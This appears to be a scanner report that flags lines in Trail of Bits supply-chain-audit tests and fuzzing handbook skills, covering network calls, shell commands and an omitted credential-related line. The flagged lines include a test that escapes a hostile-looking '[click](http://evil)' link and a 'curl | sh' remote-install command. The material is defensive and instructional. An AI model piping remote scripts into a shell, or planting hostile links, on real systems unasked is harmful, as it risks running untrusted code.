("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): { - Network accessline 557
"downloads": 5000 }, ("GET", "https://api.npmjs.org/downloads/point/last-week/ghost-dep", ""): None, - Network accessline 558
}, ("GET", "https://api.npmjs.org/downloads/point/last-week/ghost-dep", ""): None, ( - Network accessline 559
("GET", "https://api.npmjs.org/downloads/point/last-week/ghost-dep", ""): None, - Network accessline 560
( "GET", "https://api.deps.dev/v3alpha/systems/npm/packages/ghost-dep/versions/9.9.9", - Network accessline 561
"GET", "https://api.deps.dev/v3alpha/systems/npm/packages/ghost-dep/versions/9.9.9", "", - Network accessline 562
"https://api.deps.dev/v3alpha/systems/npm/packages/ghost-dep/versions/9.9.9", - Network accessline 565
("GET", f"{gh}/acme/tiny-dep", ""): {"pushed_at": pushed, "archived": False}, ("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {}, ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): { - Network accessline 566
("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {}, ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): { "checks": [ - Network accessline 567
("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): { - Network accessline 635
) pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat() gh = "https://api.github.com/repos" - Network accessline 636
pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat() gh = "https://api.github.com/repos" seeded_http( - Network accessline 637
gh = "https://api.github.com/repos" - Network accessline 644
("GET", "https://registry.npmjs.org/tiny-dep", ""): { - Network accessline 646
"versions": {"1.2.3": {"dist": {}}}, "maintainers": [{"name": "alice"}, {"name": "bob"}], "repository": {"url": "git+https://github.com/acme/tiny-dep.git"}, - Network accessline 647
"maintainers": [{"name": "alice"}, {"name": "bob"}], "repository": {"url": "git+https://github.com/acme/tiny-dep.git"}, }, - Network accessline 648
"repository": {"url": "git+https://github.com/acme/tiny-dep.git"}, - Network accessline 649
}, ("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): { "downloads": 5000 - Network accessline 650
("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): { - Network accessline 653
("GET", f"{gh}/acme/tiny-dep", ""): {"pushed_at": pushed, "archived": False}, ("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {}, ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): { - Network accessline 654
("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {}, ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): { "checks": [{"name": "Dangerous-Workflow", "score": 10}] - Network accessline 655
("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): { - Network accessline 868
http = sources.Http(project / ".cache", offline=True) path = http._path("GET", "https://example.com/x") - Network accessline 869
path = http._path("GET", "https://example.com/x") - Network accessline 871
http.get_json("https://example.com/x") # cache read - Access to secretsline 894
[Credential-related source omitted]
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_model.py
- Executable scriptline 1
Executable file
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_render.py
- Executable scriptline 1
Executable file - Network accessline 337
art["scan"]["path"] = "/tmp/pkg [v2] | beta" art["scan"]["commit"] = "abc`def" art["notes"] = ["see [click](http://evil) for details"] - Network accessline 338
art["scan"]["commit"] = "abc`def" art["notes"] = ["see [click](http://evil) for details"] text = render(art) - Network accessline 339
art["notes"] = ["see [click](http://evil) for details"] - Network accessline 345
assert "see \\[click](http://evil)" in text
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_sources.py
- Executable scriptline 1
Executable file - Network accessline 38
("raw", "expected"), [ ("git+https://github.com/a/b.git", "github.com/a/b"), - Network accessline 39
[ ("git+https://github.com/a/b.git", "github.com/a/b"), ("git@github.com:a/b.git", "github.com/a/b"), - Network accessline 40
("git+https://github.com/a/b.git", "github.com/a/b"), - Network accessline 44
("github:a/b", "github.com/a/b"), ("gitlab:a/b", "gitlab.com/a/b"), ("https://github.com/psf/requests/blob/main/README.md", "github.com/psf/requests"), - Network accessline 45
("gitlab:a/b", "gitlab.com/a/b"), ("https://github.com/psf/requests/blob/main/README.md", "github.com/psf/requests"), ("https://www.GitHub.com/a/b/", "github.com/a/b"), - Network accessline 46
("https://github.com/psf/requests/blob/main/README.md", "github.com/psf/requests"), - Network accessline 47
("https://www.GitHub.com/a/b/", "github.com/a/b"), - Network accessline 48
("https://example.com/foo", "example.com/foo"), - Network accessline 56
http = Http(tmp_path, offline=True) with pytest.raises(RepoIdentifierError): github_repo(http, "https://sr.ht/~someone/project", None) - Network accessline 58
github_repo(http, "https://sr.ht/~someone/project", None) - Network accessline 112
def test_offline_serves_seeded_entries(tmp_path: Path): http = Http(tmp_path, offline=True) seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 113
http = Http(tmp_path, offline=True) seed(http, "GET", "https://example.com/x", {"ok": 1}) assert http.get_json("https://example.com/x") == {"ok": 1} - Network accessline 114
seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 115
assert http.get_json("https://example.com/x") == {"ok": 1} - Network accessline 119
def test_cached_404_stays_not_found(tmp_path: Path): http = Http(tmp_path, offline=True) seed(http, "GET", "https://example.com/gone", None) - Network accessline 120
http = Http(tmp_path, offline=True) seed(http, "GET", "https://example.com/gone", None) with pytest.raises(NotFound): - Network accessline 121
seed(http, "GET", "https://example.com/gone", None) - Network accessline 123
http.get_json("https://example.com/gone") - Network accessline 127
http = Http(tmp_path, offline=True) with pytest.raises(Unavailable, match="offline"): http.get_json("https://example.com/never-fetched") - Network accessline 129
http.get_json("https://example.com/never-fetched") - Network accessline 132
def test_truncated_cache_entry_is_dropped(tmp_path: Path): http = Http(tmp_path, offline=True) path = seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 133
http = Http(tmp_path, offline=True) path = seed(http, "GET", "https://example.com/x", {"ok": 1}) path.write_text('{"__meta": {"fetched_at"') - Network accessline 134
path = seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 135
path.write_text('{"__meta": {"fetched_at"') with pytest.raises(Unavailable): http.get_json("https://example.com/x") - Network accessline 136
with pytest.raises(Unavailable): http.get_json("https://example.com/x") assert not path.exists() - Network accessline 137
http.get_json("https://example.com/x") - Network accessline 143
http = Http(tmp_path, offline=True) path = seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 144
path = seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 147
with pytest.raises(Unavailable): http.get_json("https://example.com/x") - Network accessline 148
http.get_json("https://example.com/x") - Network accessline 188
seed(http, "GET", "https://example.com/x", {"ok": 1}) - Network accessline 189
assert http.get_json("https://example.com/x") == {"ok": 1} - Network accessline 192
def test_auth_marker_partitions_the_cache(tmp_path: Path): anon = Http(tmp_path, offline=True, auth_marker="anon") seed(anon, "GET", "https://api.github.com/repos/a/b", None) - Network accessline 193
anon = Http(tmp_path, offline=True, auth_marker="anon") seed(anon, "GET", "https://api.github.com/repos/a/b", None) authed = Http(tmp_path, offline=True, auth_marker="gh") - Network accessline 194
seed(anon, "GET", "https://api.github.com/repos/a/b", None) - Network accessline 197
with pytest.raises(Unavailable) as excinfo: authed.get_json("https://api.github.com/repos/a/b") - Network accessline 198
authed.get_json("https://api.github.com/repos/a/b") - Network accessline 202
def test_stale_entries_refetch_when_online(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): http = Http(tmp_path, offline=False) path = seed(http, "GET", "https://example.com/x", {"old": True}) - Network accessline 203
http = Http(tmp_path, offline=False) path = seed(http, "GET", "https://example.com/x", {"old": True}) stored = json.loads(path.read_text()) - Network accessline 204
path = seed(http, "GET", "https://example.com/x", {"old": True}) - Network accessline 207
path.write_text(json.dumps(stored)) monkeypatch.setattr(http, "_send", lambda *a: {"fresh": True}) assert http.get_json("https://example.com/x") == {"fresh": True} - Network accessline 208
monkeypatch.setattr(http, "_send", lambda *a: {"fresh": True}) assert http.get_json("https://example.com/x") == {"fresh": True} assert http.stats["stale"] == 1 - Network accessline 209
assert http.get_json("https://example.com/x") == {"fresh": True} - Network accessline 221
monkeypatch.setattr(http, "_open", lambda *a: responses.pop(0)) monkeypatch.setattr(sources.time, "sleep", lambda s: None) assert http.get_json("https://api.github.com/repos/a/b") == {"ok": 1} - Network accessline 223
assert http.get_json("https://api.github.com/repos/a/b") == {"ok": 1} - Network accessline 225
responses.extend([_Response(429, ""), _Response(429, "")]) with pytest.raises(Unavailable, match="rate limited"): http.get_json("https://api.github.com/repos/a/b2") - Network accessline 227
http.get_json("https://api.github.com/repos/a/b2") - Network accessline 255
try: http = Http(tmp_path, offline=False) url = f"http://127.0.0.1:{server.server_port}/old" - Network accessline 256
http = Http(tmp_path, offline=False) url = f"http://127.0.0.1:{server.server_port}/old" assert http.get_json(url) == {"moved": True} - Network accessline 257
url = f"http://127.0.0.1:{server.server_port}/old"
plugins/testing-handbook-skills/skills/address-sanitizer/SKILL.md
- Network accessline 187
See: [libFuzzer: AddressSanitizer](https://github.com/google/fuzzing/blob/master/docs/good-fuzz-target.md#memory-error-detection) - Network accessline 208
See: [AFL++: AddressSanitizer](https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/fuzzing_in_depth.md#a-using-sanitizers) - Network accessline 231
See: [cargo-fuzz: AddressSanitizer](https://rust-fuzz.github.io/book/cargo-fuzz/tutorial.html#sanitizers) - Network accessline 286
**[AddressSanitizer on Google Sanitizers Wiki](https://github.com/google/sanitizers/wiki/AddressSanitizer)** - Network accessline 295
**[SanitizerCommonFlags](https://github.com/google/sanitizers/wiki/SanitizerCommonFlags)** - Network accessline 303
**[AddressSanitizerFlags](https://github.com/google/sanitizers/wiki/AddressSanizerFlags)** - Network accessline 311
**[AddressSanitizer FAQ](https://github.com/google/sanitizers/wiki/AddressSanitizer#faq)** - Network accessline 319
**[Clang AddressSanitizer Documentation](https://clang.llvm.org/docs/AddressSanitizer.html)** - Network accessline 326
**[GCC Instrumentation Options](https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html#index-fsanitize_003daddress)** - Network accessline 333
**[AddressSanitizer: A Fast Address Sanity Checker (USENIX Paper)](https://www.usenix.org/sites/default/files/conference/protected-files/serebryany_atc12_slides.pdf)**
plugins/testing-handbook-skills/skills/address-sanitizer/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/aflpp/SKILL.md
- Network accessline 74
git clone --depth 1 --branch stable https://github.com/AFLplusplus/AFLplusplus - Network accessline 81
Refer to the [Dockerfile](https://github.com/AFLplusplus/AFLplusplus/blob/stable/Dockerfile) for Ubuntu version requirements and dependencies. Set `LLVM_CONFIG` to specify Clang version (e.g., `llvm-config-18`). - Network accessline 328
AFL++ has [many environment variables](https://aflplus.plus/docs/env_variables/), but most are niche. These are the ones that matter in practice. - Network accessline 575
curl -O https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/stable/utils/argv_fuzzing/argv-fuzz-inl.h - Network accessline 628
**[AFL++ GitHub Repository](https://github.com/AFLplusplus/AFLplusplus)** - Network accessline 631
**[Fuzzing in Depth](https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/refs/heads/stable/docs/fuzzing_in_depth.md)** - Network accessline 634
**[AFL++ Under The Hood](https://blog.ritsec.club/posts/afl-under-hood/)** - Network accessline 637
**[AFL++: Combining Incremental Steps of Fuzzing Research](https://www.usenix.org/system/files/woot20-paper-fioraldi.pdf)** - Network accessline 642
- [Fuzzing cURL](https://blog.trailofbits.com/2023/02/14/curl-audit-fuzzing-libcurl-command-line-interface/) - Trail of Bits blog post on using AFL++ argument fuzzing for cURL - Dangerous shell operationline 643
- [Sudo Vulnerability Walkthrough](https://www.youtube.com/playlist?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx) - LiveOverflow series on rediscovering CVE-2021-3156 - Network accessline 643
- [Sudo Vulnerability Walkthrough](https://www.youtube.com/playlist?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx) - LiveOverflow series on rediscovering CVE-2021-3156 - Network accessline 644
- [Rediscovery of libpng bug](https://www.youtube.com/watch?v=PJLWlmp8CDM) - LiveOverflow video on finding CVE-2023-4863
plugins/testing-handbook-skills/skills/aflpp/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/atheris/SKILL.md
- Network accessline 59
- Python 3.7 or later - Recent version of clang (preferably [latest release](https://github.com/llvm/llvm-project/releases)) - Network accessline 60
- Recent version of clang (preferably [latest release](https://github.com/llvm/llvm-project/releases)) - Network accessline 61
- For Docker users: [Docker Desktop](https://www.docker.com/products/docker-desktop/) - Network accessline 75
# https://hub.docker.com/_/python - Dangerous shell operationline 82
RUN apt update && apt install -y ca-certificates wget && rm -rf /var/lib/apt/lists/* - Network accessline 82
RUN apt update && apt install -y \ ca-certificates \ wget \ - Network accessline 83
ca-certificates \ wget \ && rm -rf /var/lib/apt/lists/* - Network accessline 84
wget \ - Dangerous shell operationline 85
&& rm -rf /var/lib/apt/lists/* - Network accessline 87
# LLVM builds version 15-19 for Debian 12 (Bookworm) # https://apt.llvm.org/bookworm/dists/ - Network accessline 88
# https://apt.llvm.org/bookworm/dists/ - Network accessline 91
RUN echo "deb http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" > /etc/apt/sources.list.d/llvm.list RUN echo "deb-src http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" >> /etc/apt/sources.list - Network accessline 92
RUN echo "deb-src http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" >> /etc/apt/sources.list.d/llvm.list - Network accessline 93
RUN wget -qO- https://apt.llvm.org/llvm-snapshot.gpg.key > /etc/apt/trusted.gpg.d/apt.llvm.org.asc - Dangerous shell operationline 95
RUN apt update && apt install -y build-essential clang-$LLVM_VERSION && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 98
&& rm -rf /var/lib/apt/lists/* - Network accessline 108
# https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#step-1-compiling-your-extension - Network accessline 117
# Allow Atheris to find fuzzer sanitizer shared libs # https://github.com/google/atheris#building-from-source - Network accessline 118
# https://github.com/google/atheris#building-from-source - Network accessline 122
# https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#option-a-sanitizerlibfuzzer-preloads - Network accessline 125
# 1. Skip memory allocation failures for now, they are common, and low impact (DoS) # 2. https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#leak-detection - Network accessline 126
# 2. https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#leak-detection - Network accessline 285
> **Important:** When running locally (not in Docker), you must [set `LD_PRELOAD` manually](https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#option-a-sanitizerlibfuzzer-preloads). - Network accessline 468
**[Atheris GitHub Repository](https://github.com/google/atheris)** - Network accessline 471
**[Native Extension Fuzzing Guide](https://github.com/google/atheris/blob/master/native_extension_fuzzing.md)** - Network accessline 474
**[Continuously Fuzzing Python C Extensions](https://blog.trailofbits.com/2024/02/23/continuously-fuzzing-python-c-extensions/)** - Network accessline 477
**[ClusterFuzzLite Python Integration](https://google.github.io/clusterfuzzlite/build-integration/python-lang/)**
plugins/testing-handbook-skills/skills/atheris/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/cargo-fuzz/SKILL.md
- Network accessline 56
- Rust and Cargo installed via [rustup](https://rustup.rs/) - Network accessline 137
cargo-fuzz integrates with the [arbitrary](https://github.com/rust-fuzz/arbitrary) crate for structure-aware fuzzing: - Network accessline 340
The [ogg crate](https://github.com/RustAudio/ogg) parses Ogg media container files. Parsers are excellent fuzzing targets because they handle untrusted data. - Network accessline 343
# Clone and initialize git clone https://github.com/RustAudio/ogg.git - Network accessline 344
git clone https://github.com/RustAudio/ogg.git - Network accessline 396
mkdir fuzz/corpus/fuzz_target_1/ curl -o fuzz/corpus/fuzz_target_1/320x240.ogg \ - Network accessline 397
curl -o fuzz/corpus/fuzz_target_1/320x240.ogg \ - Network accessline 398
https://commons.wikimedia.org/wiki/File:320x240.ogg - Network accessline 445
**[Rust Fuzz Book - cargo-fuzz](https://rust-fuzz.github.io/book/cargo-fuzz.html)** - Network accessline 448
**[arbitrary crate documentation](https://docs.rs/arbitrary/latest/arbitrary/)** - Network accessline 451
**[cargo-fuzz GitHub Repository](https://github.com/rust-fuzz/cargo-fuzz)**
plugins/testing-handbook-skills/skills/cargo-fuzz/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/constant-time-testing/SKILL.md
- Network accessline 13
Timing attacks were introduced by [Kocher](https://paulkocher.com/doc/TimingAttacks.pdf) in 1996. Since then, researchers have demonstrated practical attacks on RSA ([Schindler](https://link.springer.com/content/pdf/10.1007/3-540-44499-8_8. - Network accessline 57
**Array access** dependent on secrets enables cache-timing attacks, as shown in [AES cache-timing research](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf). - Network accessline 61
When patterns cannot be avoided, employ [masking techniques](https://link.springer.com/chapter/10.1007/978-3-642-38348-9_9) to remove correlation between timing and secrets. - Network accessline 134
**Popular tools:** - [SideTrail](https://github.com/aws/s2n-tls/tree/main/tests/sidetrail) - Network accessline 135
- [SideTrail](https://github.com/aws/s2n-tls/tree/main/tests/sidetrail) - Network accessline 136
- [ct-verif](https://github.com/imdea-software/verifying-constant-time) - Network accessline 137
- [FaCT](https://github.com/plsyssec/fact) - Network accessline 146
**Popular tools:** - [Binsec](https://github.com/binsec/binsec) - Network accessline 147
- [Binsec](https://github.com/binsec/binsec) - Network accessline 148
- [pitchfork](https://github.com/PLSysSec/haybale-pitchfork) - Network accessline 157
**Popular tools:** - [Memsan](https://clang.llvm.org/docs/MemorySanitizer.html): [Tutorial](https://crocs-muni.github.io/ct-tools/tutorials/memsan) - Network accessline 158
- [Memsan](https://clang.llvm.org/docs/MemorySanitizer.html): [Tutorial](https://crocs-muni.github.io/ct-tools/tutorials/memsan) - Network accessline 170
**Popular tools:** - **dudect** (see below) - [tlsfuzzer](https://github.com/tlsfuzzer/tlsfuzzer) - Network accessline 172
- [tlsfuzzer](https://github.com/tlsfuzzer/tlsfuzzer) - Network accessline 207
[Dudect](https://github.com/oreparaz/dudect/) measures execution time for two input classes (fixed vs random) and uses Welch's t-test to detect statistically significant differences. - Network accessline 246
[Timecop](https://post-apocalyptic-crypto.org/timecop/) wraps Valgrind to detect runtime operations dependent on secret memory regions. - Network accessline 485
**[These results must be false: A usability evaluation of constant-time analysis tools](https://www.usenix.org/system/files/sec24fall-prepub-760-fourne.pdf)** - Network accessline 488
**[List of constant-time tools - CROCS](https://crocs-muni.github.io/ct-tools/)** - Network accessline 491
**[Paul Kocher: Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems](https://paulkocher.com/doc/TimingAttacks.pdf)** - Network accessline 494
**[Remote Timing Attacks are Practical (Brumley & Boneh)](https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf)** - Network accessline 497
**[Cache-timing attacks on AES](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf)** - Network accessline 500
**[KyberSlash: Division Timings Leak Secrets](https://eprint.iacr.org/2024/1049.pdf)** - Network accessline 505
- [Trail of Bits: Constant-Time Programming](https://www.youtube.com/watch?v=vW6wqTzfz5g) - Overview of constant-time programming principles and tools
plugins/testing-handbook-skills/skills/constant-time-testing/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/coverage-analysis/SKILL.md
- Network accessline 18
Coverage is a proxy for fuzzer capability and performance. While coverage [is not ideal for measuring fuzzer performance](https://arxiv.org/abs/1808.09700) in absolute terms, it reliably indicates whether your harness works effectively in a - Possible obfuscationline 278
"\x7F\x45\x4C\x46" - Network accessline 587
**[LLVM Source-Based Code Coverage](https://clang.llvm.org/docs/SourceBasedCodeCoverage.html)** - Network accessline 590
**[llvm-cov Command Guide](https://llvm.org/docs/CommandGuide/llvm-cov.html)** - Network accessline 593
**[gcovr Documentation](https://gcovr.com/)** - Network accessline 596
**[SanitizerCoverage Documentation](https://clang.llvm.org/docs/SanitizerCoverage.html)** - Network accessline 599
**[On the Evaluation of Fuzzer Performance](https://arxiv.org/abs/1808.09700)**
plugins/testing-handbook-skills/skills/coverage-analysis/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/fuzzing-dictionary/SKILL.md
- Network accessline 85
man curl | grep -oP '^\s*(--|-)\K\S+' | sed 's/[,.]$//' | sed 's/^/"&/; s/$/&"/' | sort -u > man.dict - Network accessline 286
**[AFL++ Dictionaries](https://github.com/AFLplusplus/AFLplusplus/tree/stable/dictionaries)** - Network accessline 289
**[libFuzzer Dictionary Documentation](https://llvm.org/docs/LibFuzzer.html#dictionaries)** - Network accessline 294
**[OSS-Fuzz Dictionaries](https://github.com/google/oss-fuzz/tree/master/projects)**
plugins/testing-handbook-skills/skills/fuzzing-dictionary/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/fuzzing-obstacles/SKILL.md
- Network accessline 267
**OpenSSL:** Uses `FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION` to modify cryptographic algorithm behavior. For example, in [crypto/cmp/cmp_vfy.c](https://github.com/openssl/openssl/blob/afb19f07aecc84998eeea56c4d65f5e0499abb5a/crypto/cmp/cmp_ - Network accessline 269
**ogg crate (Rust):** Uses `cfg!(fuzzing)` to [skip checksum verification](https://github.com/RustAudio/ogg/blob/5ee8316e6e907c24f6d7ec4b3a0ed6a6ce854cc1/src/reading.rs#L298-L300) during fuzzing. This allows the fuzzer to explore audio proc - Network accessline 417
**[OpenSSL Fuzzing Documentation](https://github.com/openssl/openssl/tree/master/fuzz)** - Network accessline 420
**[LibFuzzer Documentation on Flags](https://llvm.org/docs/LibFuzzer.html)** - Network accessline 423
**[Rust cfg Attribute Reference](https://doc.rust-lang.org/reference/conditional-compilation.html)**
plugins/testing-handbook-skills/skills/fuzzing-obstacles/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/harness-writing/SKILL.md
- Network accessline 341
This approach is more setup but prevents the fuzzer from wasting time on unparseable inputs. See [structure-aware fuzzing documentation](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md) for details. - Network accessline 434
**Resources:** - [FuzzedDataProvider header](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h) - Network accessline 435
- [FuzzedDataProvider header](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h) - Network accessline 436
- [libFuzzer documentation](https://llvm.org/docs/LibFuzzer.html) - Network accessline 521
**Resources:** - [cargo-fuzz documentation](https://rust-fuzz.github.io/book/cargo-fuzz.html) - Network accessline 522
- [cargo-fuzz documentation](https://rust-fuzz.github.io/book/cargo-fuzz.html) - Network accessline 523
- [arbitrary crate](https://github.com/rust-fuzz/arbitrary) - Network accessline 597
**[Split Inputs in libFuzzer - Google Fuzzing Docs](https://github.com/google/fuzzing/blob/master/docs/split-inputs.md)** - Network accessline 600
**[Structure-Aware Fuzzing with Protocol Buffers](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md)** - Network accessline 603
**[libFuzzer Documentation](https://llvm.org/docs/LibFuzzer.html)** - Network accessline 606
**[cargo-fuzz Book](https://rust-fuzz.github.io/book/cargo-fuzz.html)** - Network accessline 611
- [Effective File Format Fuzzing](https://www.youtube.com/watch?v=qTTwqFRD1H8) - Conference talk on writing harnesses for file format parsers - Network accessline 612
- [Modern Fuzzing of C/C++ Projects](https://www.youtube.com/watch?v=x0FQkAPokfE) - Tutorial covering harness design patterns
plugins/testing-handbook-skills/skills/harness-writing/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/libafl/SKILL.md
- Network accessline 40
git clone https://github.com/AFLplusplus/LibAFL - Network accessline 68
wget https://apt.llvm.org/llvm.sh - Dangerous shell operationline 70
sudo ./llvm.sh 15 - Dangerous shell operationline 82
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh - Network accessline 82
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh - Network accessline 497
curl -L -O https://downloads.sourceforge.net/project/libpng/libpng16/1.6.37/libpng-1.6.37.tar.xz - Network accessline 518
curl -O https://raw.githubusercontent.com/glennrp/libpng/f8e5fa92b0e37ab597616f554bee254157998227/contrib/oss-fuzz/libpng_read_fuzzer.cc - Network accessline 528
mkdir seeds/ curl -o seeds/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png - Network accessline 529
curl -o seeds/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png - Network accessline 534
curl -O https://raw.githubusercontent.com/glennrp/libpng/2fff013a6935967960a5ae626fc21432807933dd/contrib/oss-fuzz/png.dict - Network accessline 615
- [LibAFL Book](https://aflplus.plus/libafl-book/) - Official handbook with comprehensive documentation - Network accessline 616
- [LibAFL GitHub](https://github.com/AFLplusplus/LibAFL) - Source code and examples - Network accessline 617
- [LibAFL API Documentation](https://docs.rs/libafl/latest/libafl/) - Rust API reference - Network accessline 621
- [LibAFL Examples](https://github.com/AFLplusplus/LibAFL/tree/main/fuzzers) - Collection of example fuzzers - Network accessline 622
- [cargo-fuzz with LibAFL](https://github.com/AFLplusplus/LibAFL/tree/main/fuzzers/fuzz_anything/cargo_fuzz) - Using LibAFL as cargo-fuzz backend - Network accessline 623
- [Testing Handbook LibAFL Examples](https://github.com/trailofbits/testing-handbook/tree/main/materials/fuzzing/libafl) - Complete working examples from this handbook
plugins/testing-handbook-skills/skills/libafl/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/libfuzzer/SKILL.md
- Network accessline 84
Install Clang through Visual Studio. Refer to [Microsoft's documentation](https://learn.microsoft.com/en-us/cpp/build/clang-support-msbuild?view=msvc-170) for setup instructions. - Network accessline 170
Download `FuzzedDataProvider.h` from the [LLVM repository](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h). - Network accessline 478
man curl | grep -oP '^\s*(--|-)\K\S+' | sed 's/[,.]$//' | sed 's/^/"&/; s/$/&"/' | sort -u > man.dict - Network accessline 612
curl -L -O https://downloads.sourceforge.net/project/libpng/libpng16/1.6.37/libpng-1.6.37.tar.xz - Network accessline 632
curl -O https://raw.githubusercontent.com/glennrp/libpng/f8e5fa92b0e37ab597616f554bee254157998227/contrib/oss-fuzz/libpng_read_fuzzer.cc - Network accessline 637
